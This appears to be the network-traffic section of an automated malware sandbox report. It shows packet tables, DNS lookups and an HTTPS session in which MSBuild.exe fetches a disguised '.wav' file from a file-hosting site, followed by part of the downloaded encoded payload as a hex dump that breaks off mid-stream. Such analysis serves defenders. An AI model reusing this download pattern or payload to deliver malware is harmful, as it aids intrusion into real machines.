Aug 13, 2023 08:44:41.334043980 CEST	49756	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:41.334120035 CEST	443	49756	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:41.334249973 CEST	49756	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:41.335792065 CEST	49756	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:41.335829020 CEST	443	49756	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:41.406244040 CEST	443	49756	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:41.406533003 CEST	49756	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:41.510436058 CEST	49756	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:41.510524988 CEST	443	49756	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:41.511486053 CEST	443	49756	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:41.525156021 CEST	49756	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:41.566798925 CEST	443	49756	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:41.669260979 CEST	443	49756	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:41.669321060 CEST	443	49756	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:41.669446945 CEST	49756	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:41.669466972 CEST	443	49756	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:41.669558048 CEST	49756	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:42.531133890 CEST	49756	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:42.573458910 CEST	49757	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:42.573514938 CEST	443	49757	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:42.573657036 CEST	49757	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:42.575247049 CEST	49757	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:42.575265884 CEST	443	49757	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:42.642973900 CEST	443	49757	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:42.643160105 CEST	49757	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:42.753050089 CEST	49757	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:42.753113985 CEST	443	49757	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:42.754013062 CEST	443	49757	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:42.755687952 CEST	49757	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:42.785176992 CEST	443	49757	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:42.785248995 CEST	443	49757	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:42.785314083 CEST	49757	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:42.785340071 CEST	443	49757	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:42.785465956 CEST	443	49757	23.109.93.100	192.168.2.3
Aug 13, 2023 08:44:42.785521984 CEST	49757	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:44:42.787255049 CEST	49757	443	192.168.2.3	23.109.93.100

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 13, 2023 08:42:05.629456997 CEST	57045	53	192.168.2.3	8.8.8.8
Aug 13, 2023 08:42:05.649806976 CEST	53	57045	8.8.8.8	192.168.2.3
Aug 13, 2023 08:43:27.982934952 CEST	52097	53	192.168.2.3	8.8.8.8
Aug 13, 2023 08:43:28.008805990 CEST	53	52097	8.8.8.8	192.168.2.3
Aug 13, 2023 08:43:41.285427094 CEST	56944	53	192.168.2.3	8.8.8.8
Aug 13, 2023 08:43:41.341079950 CEST	53	56944	8.8.8.8	192.168.2.3
Aug 13, 2023 08:43:52.371823072 CEST	53304	53	192.168.2.3	8.8.8.8
Aug 13, 2023 08:43:52.400579929 CEST	53	53304	8.8.8.8	192.168.2.3
Aug 13, 2023 08:44:41.305361986 CEST	62364	53	192.168.2.3	8.8.8.8
Aug 13, 2023 08:44:41.327027082 CEST	53	62364	8.8.8.8	192.168.2.3
Aug 13, 2023 08:44:41.542630911 CEST	49809	53	192.168.2.3	8.8.8.8
Aug 13, 2023 08:44:41.563271046 CEST	53	49809	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 13, 2023 08:42:05.629456997 CEST	192.168.2.3	8.8.8.8	0x7101	Standard query (0)	files.catbox.moe	A (IP address)	IN (0x0001)	false
Aug 13, 2023 08:43:27.982934952 CEST	192.168.2.3	8.8.8.8	0x9726	Standard query (0)	filedn.com	A (IP address)	IN (0x0001)	false
Aug 13, 2023 08:43:41.285427094 CEST	192.168.2.3	8.8.8.8	0xb314	Standard query (0)	files.catbox.moe	A (IP address)	IN (0x0001)	false
Aug 13, 2023 08:43:52.371823072 CEST	192.168.2.3	8.8.8.8	0xbec5	Standard query (0)	files.catbox.moe	A (IP address)	IN (0x0001)	false
Aug 13, 2023 08:44:41.305361986 CEST	192.168.2.3	8.8.8.8	0x3150	Standard query (0)	filedn.com	A (IP address)	IN (0x0001)	false
Aug 13, 2023 08:44:41.542630911 CEST	192.168.2.3	8.8.8.8	0x298a	Standard query (0)	filedn.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 13, 2023 08:42:05.649806976 CEST	8.8.8.8	192.168.2.3	0x7101	No error (0)	files.catbox.moe	108.181.20.39	A (IP address)	IN (0x0001)	false
Aug 13, 2023 08:43:28.008805990 CEST	8.8.8.8	192.168.2.3	0x9726	No error (0)	filedn.com	23.109.93.100	A (IP address)	IN (0x0001)	false
Aug 13, 2023 08:43:41.341079950 CEST	8.8.8.8	192.168.2.3	0xb314	No error (0)	files.catbox.moe	108.181.20.39	A (IP address)	IN (0x0001)	false
Aug 13, 2023 08:43:52.400579929 CEST	8.8.8.8	192.168.2.3	0xbec5	No error (0)	files.catbox.moe	108.181.20.39	A (IP address)	IN (0x0001)	false
Aug 13, 2023 08:44:41.327027082 CEST	8.8.8.8	192.168.2.3	0x3150	No error (0)	filedn.com	23.109.93.100	A (IP address)	IN (0x0001)	false
Aug 13, 2023 08:44:41.563271046 CEST	8.8.8.8	192.168.2.3	0x298a	No error (0)	filedn.com	23.109.93.100	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

files.catbox.moe

filedn.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49739	108.181.20.39	443	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-13 06:42:06 UTC	0	OUT	GET /1eq98g.wav HTTP/1.1 Host: files.catbox.moe Connection: Keep-Alive
2023-08-13 06:42:06 UTC	0	IN	HTTP/1.1 200 OK Server: nginx/1.21.3 Date: Sun, 13 Aug 2023 06:42:06 GMT Content-Type: application/octet-stream Content-Length: 705040 Last-Modified: Sat, 12 Aug 2023 22:58:06 GMT Connection: close ETag: "64d80e7e-ac210" X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self' https://files.catbox.moe; style-src https://files.catbox.moe 'unsafe-inline'; img-src 'self' data:; font-src 'self'; media-src 'self'; object-src 'self'; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Accept-Ranges: bytes
2023-08-13 06:42:06 UTC	0	IN	Data Raw: ea 4f c1 13 bb 5b df 09 35 6e c5 b4 b2 a4 ab 9f 7b 3d 0d 5d f7 89 bc c5 ec 13 85 84 ab 4a a3 7e d4 59 f2 22 a3 8b d0 f0 01 28 bf db 13 67 52 2d d5 9e 5f f7 6e 53 3c 29 4b da 70 73 8c 8a f1 53 59 53 15 f8 a7 8d 46 d5 3b 88 14 87 5b 3e 46 58 20 f0 d6 21 e5 e3 2c 5a 1a 42 c9 42 68 0f 0d 49 1f d1 e3 db 9a f3 39 90 ae 20 73 db e8 a2 ec f5 da c2 4d 36 e4 ef 34 da 3f 88 1c 96 f1 3e de 2d 50 13 d1 db ed bb 14 08 16 ae 2b 8e 16 43 80 0c e7 a1 7d c5 e1 a2 95 84 72 2b 88 d2 38 e1 21 47 3f 1a 8c fa 90 0f b1 86 1d bd 91 43 c8 47 4c c6 33 a3 a4 30 69 85 46 d1 f8 b9 e4 48 a4 90 2a aa 89 21 e0 8b b6 78 96 64 61 03 ce 60 c2 a7 54 2c 38 c2 02 1c b4 1b 5e 40 39 00 ea 40 da 64 00 3a 3e 95 dd c6 9e e1 1d c2 8b dc fb 0e 89 77 26 37 78 12 f6 ad 76 1a 8b e1 cc 51 11 ea 39 b4 a3 Data Ascii: O[5n{=]J~Y"(gR-_nS<)KpsSYSF;[>FX !,ZBBhI9 sM64?>-P+C}r+8!G?CGL30iFH*!xda`T,8^@9@d:>w&7xvQ9
2023-08-13 06:42:06 UTC	16	IN	Data Raw: 40 b3 8e fb 6d ee f0 dc e9 df 68 33 64 f3 68 7b 9a f9 47 e6 14 8f ad c4 39 15 50 fb 0c 07 86 76 38 21 19 49 18 0a b9 0b 35 7d b7 c1 49 06 1d 2a 9b 5e ee 1b c8 bb 94 51 87 24 96 46 44 85 82 76 80 22 97 35 69 97 35 8a 4c 08 ae 24 c2 0c 8f 1a 62 08 64 48 62 48 d2 ef 15 5b 73 ad 6b 0d b0 20 25 0c ce 78 0d f3 9b 20 46 1d 63 e3 77 59 e9 e0 63 e8 d7 3d 6d c2 4b fb 77 38 0f 7a 38 12 42 6e 4b 5b cd 6f 8e 0e d2 96 e6 b9 3d ef 99 08 4e bf 1a 07 58 5e 3d d0 1f 24 42 56 aa 67 f6 09 fc d3 5e 68 66 17 c0 05 48 66 69 9e 06 45 00 4a ba f6 80 bc c7 9b 57 d1 3e 73 1b 06 94 06 1f ac 33 9f e0 10 e3 68 54 b5 cf ee 01 fd 76 1c fc a1 8d 96 f9 f9 ce b1 34 24 f7 5c bf bd 89 3c f9 9e 41 84 d8 73 9a de d0 1b f2 6a 74 e0 10 e6 98 55 a2 c2 e1 ec 5e 0e cc 7d 34 f1 1b 1a 6e ed 6d c2 b2 Data Ascii: @mh3dh{G9Pv8!I5}I*^Q$FDv"5i5L$bdHbH[sk %x FcwYc=mKw8z8BnK[o=NX^=$BVg^hfHfiEJW>s3hTv4$\<AsjtU^}4nm
2023-08-13 06:42:07 UTC	32	IN	Data Raw: 61 c9 8f 73 62 33 47 cd 09 ff 99 1d 29 ef 06 da 36 ab b4 a8 b4 b1 5f 6d 8d b8 6a 53 cb 95 07 93 1d cd a9 91 f3 57 34 1b a5 f8 cc 28 a8 0b 7d e4 ca eb 46 a7 c4 b5 08 8c 71 91 55 17 4f 5f 61 44 6c 36 e0 d1 a2 31 59 48 e7 56 22 32 7b b9 56 11 00 cd d1 f5 ee 2e 6f 92 c1 af b7 02 e0 03 37 d9 bc 71 57 80 00 1c f5 4b 48 9f 2c 96 19 06 28 50 fe fa dd 74 55 34 ad 4f 2a 9e 46 29 e8 82 6f 5f 1f 44 7e 51 0f a5 44 db f1 b7 9e 54 39 ca f8 fd 4b f2 3d bd 5a f9 19 41 47 86 3a 76 ab 66 04 f5 dd 1c 96 d4 d7 6d bf 72 a5 33 22 5e d7 03 02 f8 07 6b cf a2 ae ab 4a d3 ff d5 2e 92 c2 28 ad 56 d8 ef 62 61 d1 42 e3 15 74 26 be 3f 40 f1 d3 af 1c 5f 54 57 d7 bd bb 10 55 aa ae 1a 1b 25 23 d9 6c 7c cc 2a 78 0b 70 3a 2a bb 52 be 56 6c 4b d3 1a 5a ad 93 21 ef e5 bc 3d 2e 47 af a8 66 b7 Data Ascii: asb3G)6_mjSW4(}FqUO_aDl61YHV"2{V.o7qWKH,(PtU4OF)o_D~QDT9K=ZAG:vfmr3"^kJ.(VbaBt&?@_TWU%#l\|xp:*RVlKZ!=.Gf
2023-08-13 06:42:07 UTC	48	IN	Data Raw: f1 47 f2 3d bd 85 0f 3e 13 8e a6 2e 76 67 3e f9 bc 4f 5c 13 8b 1f 99 0f ec f5 42 6a 25 68 60 33 e2 cb 93 84 2f e9 96 6a 63 16 02 7c 23 33 b4 68 96 f7 34 15 0f e8 18 1d 57 26 40 fe f7 a2 1c 15 f6 72 a7 90 1c cd 3a 2a d3 2f f4 33 7b 00 ea 44 7b 0a c5 4a b4 1f fb 84 f8 7e 60 25 80 77 e8 b6 f9 9a 43 9d b4 ff cf b2 3c 52 34 f9 9e e2 aa eb 1d 6d 55 91 23 f1 0e 92 0c 07 7e f7 7c 14 81 8b b1 af b7 6c f8 e5 d0 f9 5f f1 ea db fa 20 ba 62 a8 17 47 8a 93 9a dd 7c fc 72 3e e6 53 9d 91 c1 cb c0 d8 22 27 3a 94 be 69 c1 d5 4a 81 45 21 ca 40 88 f8 79 10 35 cc 9a 43 50 b4 8c e4 10 d8 ae 90 d7 b9 fd 89 a6 0a 42 a6 0f df 45 9f 48 59 ce 0d 14 83 e2 e3 27 4d d6 6b 62 63 ec 86 cc c6 e2 e9 f9 65 8a 91 09 d6 6a 13 c9 e3 eb 56 a4 76 05 87 2f 6b 36 9a b7 10 f6 c2 ad 65 57 0c 53 ca Data Ascii: G=>.vg>O\Bj%h`3/jc\|#3h4W&@r:*/3{D{J~`%wC<R4mU#~\|l_ bG\|r>S"':iJE!@y5CPBEHY'MkbcejVv/k6eWS
2023-08-13 06:42:07 UTC	64	IN	Data Raw: 4c d0 1b 55 38 83 b0 01 f5 48 ee 93 69 9e 24 c0 ca 86 1a 68 bd 27 79 d2 1b b2 6e b5 61 ee bb 5e 5a dd 32 3f b0 f3 ab 9a b6 9b 20 eb b6 02 ff 06 a5 78 5d ad 26 dd 2c f7 f4 b5 94 6f 5d 76 a2 b0 7f be 02 1c c2 38 c8 ee e4 d3 70 02 09 f2 5b 24 e6 37 9a d3 3e a6 5f d2 38 a1 12 67 d7 f3 33 2a d0 ab 01 ec 28 15 e7 6c 6f d2 10 a5 60 15 df da 18 97 29 39 61 85 08 63 48 f9 36 fc 5e aa 35 2d ad eb 43 ef 7c 2f 74 9f a2 9a 4f b5 35 a0 5e 5b 56 71 63 ec ed 19 60 38 83 fc a5 16 0a 03 57 de bd e1 f5 e2 8e e5 23 05 ba 10 c4 32 69 9d 55 26 65 85 bd 95 d7 d0 56 d7 9b 57 7e 88 cf a1 2e b8 41 90 a7 6b 38 66 4d 23 ea e7 23 a0 66 fe 53 38 c1 ac 81 95 69 e7 59 e8 28 65 4f a3 99 0d be d1 78 77 ae b8 ee 74 73 f9 bc 4b aa 46 48 4f 4e 1c 70 12 30 dc 43 17 fa 41 cd 76 7c 09 2d b6 c6 Data Ascii: LU8Hi$h'yna^Z2? x]&,o]v8p[$7>_8g3*(lo`)9acH6^5-C\|/tO5^[Vqc`8W#2iU&eVW~.Ak8fM##fS8iY(eOxwtsKFHONp0CAv\|-
2023-08-13 06:42:07 UTC	80	IN	Data Raw: 46 10 d9 9b 9a 91 60 0a a7 22 c9 8d 1e 8e f3 8a 41 ed ee d2 bd 6f 7e 46 3b 02 91 c9 74 d5 14 57 a9 5d 51 94 1c 81 8f ee 4b 53 48 ba ce c1 bd fb f1 3c f4 ce 8e b0 28 82 de cb 3c 17 8a c7 fe 33 9c 5a 30 8d b1 7f f6 f2 c3 07 1e 19 74 8f e8 18 bd c8 8f a6 e1 a0 7f 12 3d ac 09 5a b0 9d 1f 78 a1 05 ab 87 ef f8 59 e3 76 74 0a 1a d7 14 dd 3c 59 9d 9b 88 5f f9 aa 1b b0 9f 21 50 29 3d ca 01 96 b1 62 7e 19 38 50 7d 6c 33 d9 b6 ea 11 87 f2 b6 a1 3d 6c 4b 15 2f b8 92 ec dc b1 92 96 27 c5 6f 78 a8 cb b1 bb 7e 57 66 82 56 b2 d9 94 3a f7 5b e5 b6 5a fd 1a 92 9d 31 25 cf 54 33 c8 d8 41 45 eb f9 22 66 2a 21 fe 7c 87 ea cc ac 12 84 4b 70 e7 51 75 25 5f 09 48 55 2b 4d 5a 05 f4 85 db 9f 71 02 57 9b b5 d9 9b 68 1f 26 31 bb 50 28 e5 5b 80 5e d5 fd e2 c0 44 71 4f 57 35 fb 64 92 Data Ascii: F`"Ao~F;tW]QKSH<(<3Z0t=ZxYvt<Y_!P)=b~8P}l3=lK/'ox~WfV:[Z1%T3AE"f*!\|KpQu%_HU+MZqWh&1P([^DqOW5d
2023-08-13 06:42:07 UTC	96	IN	Data Raw: 54 49 00 c9 5a 84 2f 4e 31 1a 54 c6 a7 18 3f 70 37 10 7a da 7e ec ac 7b 6a 39 0d 12 71 75 50 31 12 28 67 25 f2 45 27 77 02 65 1b 8b 8a 54 6d 56 b7 1c 8f 48 86 d8 0c 28 f1 7f 23 7e 6e 3a fe b4 c6 a1 89 42 cd a3 7c 6f 40 6e 6c 5b c5 56 a2 b9 8d 81 b5 a9 31 d5 ea 67 5b b3 df 5e e0 d6 ea 95 d3 b9 41 b3 af c4 c3 15 69 6b 6d 21 3c 8f 1d 1c 5e 4d 29 15 40 18 2e 13 27 9a 45 94 3b bd d5 58 bd b8 d1 45 3a 77 22 9a 67 c5 0d a7 37 d8 85 39 ee b9 57 75 a9 33 98 7f 55 db e0 92 08 c5 ef df b5 e3 e9 39 dd 2f 61 e9 60 86 14 ce 8d 41 69 14 3c 7b 9d d5 fd 8a 88 fc f8 b3 6c e7 97 b3 27 0f 4f f6 a1 9c 19 6b 67 15 9f 74 f5 1e 4e 5b 43 3e d8 d4 6d 80 a2 f6 8c 19 43 7a b1 83 b0 61 56 4d 9c dd 61 40 51 17 94 ba 1e 8d fc 8a a3 bc 94 c8 7d 91 5f b0 df fe 10 7c 70 90 5f 8a ad b9 e8 Data Ascii: TIZ/N1T?p7z~{j9quP1(g%E'weTmVH(#~n:B\|o@nl[V1g[^Aikm!<^M)@.'E;XE:w"g79Wu3U9/a`Ai<{l'OkgtN[C>mCzaVMa@Q}_\|p_
2023-08-13 06:42:07 UTC	112	IN	Data Raw: b6 48 83 ba 4e 0b 74 83 56 28 4f 57 56 79 83 30 aa 4f b1 01 90 5d 2f 14 27 26 b3 52 76 14 0d 6f 83 42 ca b8 e9 ca dd f3 57 a6 47 15 da 27 e7 d3 23 7b 1b 02 d8 e2 b9 a9 c6 3e 93 7e a2 92 28 79 26 26 61 0c e0 fe b6 c6 28 3b 4a 43 5d 8e fb 02 e8 4a 0c 68 49 d3 fa ae 6d 09 2c b8 99 22 b2 49 07 9d 0a 64 ca 5e ec b9 66 b0 f4 4c 1c 1c 7f d5 f0 12 db f6 c2 ec de 07 67 82 33 45 31 52 51 66 7b 86 7d f5 6d 00 90 e2 84 6d 4e 5a dc 52 94 c6 af 46 ca 25 af d9 38 1d 95 0f 28 37 dc 56 47 06 cc 59 77 58 e5 f3 bd c2 b0 01 a7 ea cb 58 4f cd a2 b6 a1 a3 3e 67 71 f6 ae 2b b7 7d 24 ce de fd 25 1b d3 fb eb 51 c0 93 d7 a7 27 26 bc 83 62 be 65 e3 56 b0 2d 24 d1 11 c3 82 78 0d 23 87 f1 e8 1a 48 0e a2 ee 43 49 e2 5b dd a3 14 9f 91 92 1a 82 07 cb bd 62 64 d3 47 79 7f 69 2e 51 af 41 Data Ascii: HNtV(OWVy0O]/'&RvoBWG'#{>~(y&&a(;JC]JhIm,"Id^fLg3E1RQf{}mmNZRF%8(7VGYwXXO>gq+}$%Q'&beV-$x#HCI[bdGyi.QA
2023-08-13 06:42:07 UTC	128	IN	Data Raw: 79 16 38 3c 10 47 0f 6b 67 38 7a df d2 17 8c e8 1a 2c 14 43 f4 37 81 f6 af aa f4 42 91 f1 b3 61 11 a4 cc f3 24 60 d9 06 bf f9 e8 de 3a 3d e8 f2 99 67 5c 7b cc 09 46 a4 38 c3 e4 d5 9d 61 06 f8 61 37 4f cc 89 47 af 18 b4 ab 87 e4 94 4f 9f 7b ce 05 99 07 fa f5 61 52 5c 04 9a 10 b0 2b 9c 2c 85 0c ac 8f 52 04 bc e0 3d e7 cd 8f fc 92 4a 17 42 5e 0c e4 cb db 20 cc 7d 4e 32 71 f1 eb 44 a3 0d 4b bc c8 ed f0 ce 16 b2 2d 27 4b 9c bf bd 4c 93 d4 c0 64 35 ba d7 bc 37 ed f3 8f 15 a1 58 b8 c4 80 6b d8 93 9c 3d 18 6e 28 4e 50 2c 19 43 98 32 49 47 8f 5d 9a fe 42 61 c4 d9 c2 88 09 d3 ba 46 2c de ff aa cc 40 5c 1b 31 d9 5c d6 8b c7 26 e1 08 58 69 70 64 ca 10 8a 86 67 13 1d 3d c6 c3 f0 2c 0b f6 d4 a2 a3 09 43 15 f4 a8 a6 2e 3c e1 77 6e 73 a1 19 19 90 67 46 3b be 3e 23 29 35 Data Ascii: y8<Gkg8z,C7Ba$`:=g\{F8aa7OGO{aR\+,R=JB^ }N2qDK-'KLd57Xk=n(NP,C2IG]BaF,@\1\&Xipdg=,C.<wnsgF;>#)5
2023-08-13 06:42:07 UTC	144	IN	Data Raw: 58 61 3e e2 3d 74 e2 aa c9 e2 11 3b f7 56 7e 0a 25 e8 5c 3f 92 9a 87 83 10 0b 73 91 1d 4d e2 d1 f6 7f 8d 3f 8f 2c 64 66 b9 ad 5e ed 7a f7 b9 b6 60 c4 98 44 a5 ac ed eb 19 dc c2 5e 22 bc b9 7a 17 f3 88 41 be e2 2f 61 42 29 dd d4 99 02 7a 3c 29 38 89 c4 c0 2f 20 5d 33 9b 84 aa c2 4c 54 b7 ca 65 ee 90 88 ed 55 ac 32 19 5a b2 0f ea e2 bb 02 2e 89 40 23 f7 33 d0 b6 0b 40 71 a7 b4 a8 a1 88 0b 78 0c 13 4e 6f 60 7d 87 4a 2d 52 de 7c d5 7a b7 45 ad 30 73 a9 7a dd 8f bc 8a 78 bb 28 75 1b 79 b0 57 fb b0 bd f2 21 bd 3e 8c b4 03 76 b7 16 0b 55 4c b5 af fa 37 fe e8 a3 2c c2 99 86 e4 d3 34 3e 37 69 25 f4 09 34 83 85 78 16 2e be 68 a6 eb 74 4b 87 26 37 bd 9f 5c 02 a3 79 76 18 9d f9 5a 2f a4 30 1a c2 27 ff 37 fa 55 7e 58 ef 05 47 5a c8 1b fc 83 e2 f2 7f fa f8 c3 50 a7 8d Data Ascii: Xa>=t;V~%\?sM?,df^z`D^"zA/aB)z<)8/ ]3LTeU2Z.@#3@qxNo`}J-R\|zE0szx(uyW!>vUL7,4>7i%4x.htK&7\yvZ/0'7U~XGZP
2023-08-13 06:42:07 UTC	160	IN	Data Raw: 62 d7 4e b6 ac 51 48 12 09 6d 9b c6 be 47 bf 55 d5 60 56 ff 69 7a 9b ce a7 6f ce f3 89 ae 82 22 3c 85 20 f7 18 ad 24 6e 05 03 52 8e 77 42 3e 59 23 53 bc fb 05 b3 c8 6e 3b a9 43 54 a9 ec 91 28 9d 29 f8 3c 90 54 e4 2d a4 4d 13 6b 56 d1 43 21 40 35 a3 be 56 5d 5e a0 0b 27 15 af 56 80 59 73 a2 bf 4c 61 8c 53 73 ce f9 a4 c2 73 34 25 bd 68 65 3c 74 18 6a 73 c0 c3 7c e5 83 ff 35 e3 00 4e f6 25 85 08 52 a5 92 f0 4e b5 b9 3f 78 68 a1 20 eb 84 a4 83 a9 57 c2 ea 5d a1 1c 67 e2 bd a3 01 25 f0 e6 7e 6a 7e 0c 9d a7 fb 62 29 d4 0a 9d 7f c8 15 4a 1d f7 b1 bc 09 db f0 d2 ff d2 40 76 13 81 03 9d da fe 8c 6c 29 94 13 43 41 33 a8 11 e2 f2 09 ad 3e b9 3d 90 9f 09 9a 34 e9 44 b4 6a b1 45 af 0d 5b c6 f1 8f 1e 0e 3a 1d 5f 0c 9b 13 bc 11 a3 15 74 c8 14 24 dc 6e 68 c4 49 8b 86 26 Data Ascii: bNQHmGU`Vizo"< $nRwB>Y#Sn;CT()<T-MkVC!@5V]^'VYsLaSss4%he<tjs\|5N%RN?xh W]g%~j~b)J@vl)CA3>=4DjE[:_t$nhI&
2023-08-13 06:42:07 UTC	176	IN	Data Raw: 23 4c cc c8 db a0 a6 58 ed 7e 65 e3 d7 6f a1 ec 97 ab 31 55 55 69 85 2a 76 74 bc 84 7d 3e da e6 83 9d 69 34 a5 04 3e 45 e0 10 e4 3a 06 10 62 a7 c9 0f f0 f7 86 c2 01 ce bd e4 c9 09 3a 3c 78 bf c2 42 74 91 f1 fb ae 8d df 3e 1b 81 b0 ad e1 53 ec 19 65 bf a3 9e d8 05 83 5b 9e 81 98 93 8a 1e e6 c9 b7 2f ba 6b 8a b5 69 17 0b 56 ba 6b ca db 77 47 3f f6 a8 b9 3f e8 57 0b 6b 04 fa b8 5f 2a 08 85 07 b2 8e d7 de b8 44 4a 3d b7 54 36 dd 9d 9d ae 2b ff 7b 20 0d 0b ba 67 46 e8 80 fb 12 8c 75 48 16 b0 1f 69 cd 72 61 9b 98 5b 4d 92 85 c7 91 59 04 43 73 b5 68 b0 44 1c 4e 11 6c 17 b4 74 cd 2e dd 8a 6d 99 89 54 92 ff 07 da 4c 15 57 3b 05 36 04 ae 0b be 73 79 21 22 81 2b 2c 48 60 49 41 8d 36 e2 f5 d2 c7 c2 0a 23 62 76 cc 22 38 90 52 0f 8b 59 9f fc 26 98 8c ca bc c0 2e 8d 7b Data Ascii: #LX~eo1UUivt}>i4>E:b:<xBt>Se[/kiVkwG??Wk_DJ=T6+{ gFuHira[MYCshDNlt.mTLW;6sy!"+,H`IA6#bv"8RY&.{
2023-08-13 06:42:07 UTC	192	IN	Data Raw: ad 27 cd 32 bb f3 fa cb 19 b3 df ee 54 31 90 cb bb 1a 00 35 9d c8 27 d6 d4 d5 13 fb 97 17 f3 38 fb f9 89 62 2e dc fa 64 0a 84 17 3d 41 56 2f 8c 10 2d 02 69 05 5b 76 42 58 19 d4 c9 d7 1d b3 e5 00 a3 d4 37 ca b9 e0 98 60 2f e9 19 f7 6e 46 16 de 51 93 53 47 f2 9b f9 35 a4 b1 09 14 5e ec 1f da 4c 9f 33 44 58 ea 9c cf 67 0a 95 32 ce 7a 1e bb c7 d7 cf 6a 46 de 76 53 b3 af 7e e0 73 d6 e8 80 bc a8 42 da b6 39 4f bf 64 af 88 52 57 ba 45 a2 20 db d4 ca 62 3f 10 85 5a 6c 02 51 4d 72 17 9b 84 84 e4 72 98 c3 0f 02 e2 ef 7c 41 e7 d5 90 75 61 ef 0e 21 5c 13 c2 37 d2 0f cd f0 ca 03 f6 e1 a2 3a a8 af 05 b6 6e 57 16 86 54 5b 38 c4 11 ef c6 33 d7 d9 8f fc 6b de f2 59 7e 1a d4 67 21 0b 19 f6 dc 22 05 88 8e be 7b ff 44 7e 49 ae 92 b6 28 80 f7 a8 3f 6d 1a 2b c8 bf aa 66 19 2f Data Ascii: '2T15'8b.d=AV/-i[vBX7`/nFQSG5^L3DXg2zjFvS~sB9OdRWE b?ZlQMrr\|Aua!\7:nWT[83kY~g!"{D~I(?m+f/
2023-08-13 06:42:07 UTC	208	IN	Data Raw: dd b3 98 82 15 9f cd d9 87 e9 c6 18 9f c9 c6 2b ee b9 16 d6 13 c3 ad c0 49 67 76 9d 0f a8 93 87 90 e1 39 ec c8 0b 23 2b c6 9d a7 6b 7b 11 a2 af 42 e5 b4 d7 31 d0 ea 7f 5e 3b b6 be 2b b6 a5 39 b0 22 23 aa 18 d9 57 55 41 18 05 b8 42 37 1f d0 93 bd d8 86 2c 00 34 b1 2f 5b 9f ca fb 43 e4 5e fc f3 ce 93 d3 82 46 ae b7 55 64 e4 c8 0e 96 1b e5 57 93 74 ad 5f b3 b3 d5 b4 ba a6 93 d9 1c 4f c0 33 2f 9e 00 70 18 64 fe 57 2f 55 ed 5b 11 f3 a3 cc e1 17 2a c3 84 73 b1 2f 78 66 0d 10 75 e7 a3 11 fa 2f cb ef 3f dd a8 34 fb 75 f0 0e 3b 72 88 62 67 9c 2e 3c 16 60 3a ea b2 65 c1 7c f2 9e 6c f9 fd b4 35 a6 bc 0a d8 90 a0 0f 60 fb ad 33 f1 73 31 79 69 2a 04 b7 ac 8b 92 6f 3c cc 4f d6 4f 2f 7c 2a bb d3 85 19 59 92 3b d1 74 9f 11 af d2 49 04 89 6b 89 7a 74 1d af 73 41 7c 65 54 Data Ascii: +Igv9#+k{B1^;+9"#WUAB7,4/[C^FUdWt_O3/pdW/U[s/xfu/?4u;rbg.<`:e\|l5`3s1yio<OO/\|*Y;tIkztsA\|eT
2023-08-13 06:42:07 UTC	224	IN	Data Raw: 12 1f ea bd a6 b1 92 ad 2e 9a e6 70 88 a8 df 64 67 01 d4 b9 c5 7f 6a ec d5 cc ad a2 b8 71 0f 3c 01 37 d3 cb a3 b7 97 10 f7 fe 1d 7c 47 a2 54 66 16 06 d6 f7 78 24 5d 27 1a a3 46 9b 7d 47 22 60 19 7d 93 b4 29 9c e2 ea 80 51 90 32 5c 2d 48 a2 36 8e b9 ac 7a d8 d0 3c c0 94 ba 13 3d 79 6e 2e ff bd 69 b8 45 04 26 3d 1d 05 ba cc bf 51 8c b2 9c 03 da fe d8 10 f5 0c 16 95 dd f4 6e 89 2a e6 2a 90 1b 12 44 33 8f 7c 1a c5 7b 7d b6 74 89 5b 57 d0 d6 b4 b2 89 91 3f eb c0 5a a1 64 56 a5 ca 77 6a 1a c0 c9 e2 e2 1d b0 1f 5a 45 ca f8 b7 69 02 1e 5b 8e 50 6e 8f 70 d3 a0 78 6c 11 e9 98 b9 9b cb 81 a7 be 17 84 e3 11 01 1e 2a fb 29 b6 e6 b7 ec 21 52 67 43 c8 c6 85 85 b9 25 15 63 c1 51 3e 55 f5 f9 21 f1 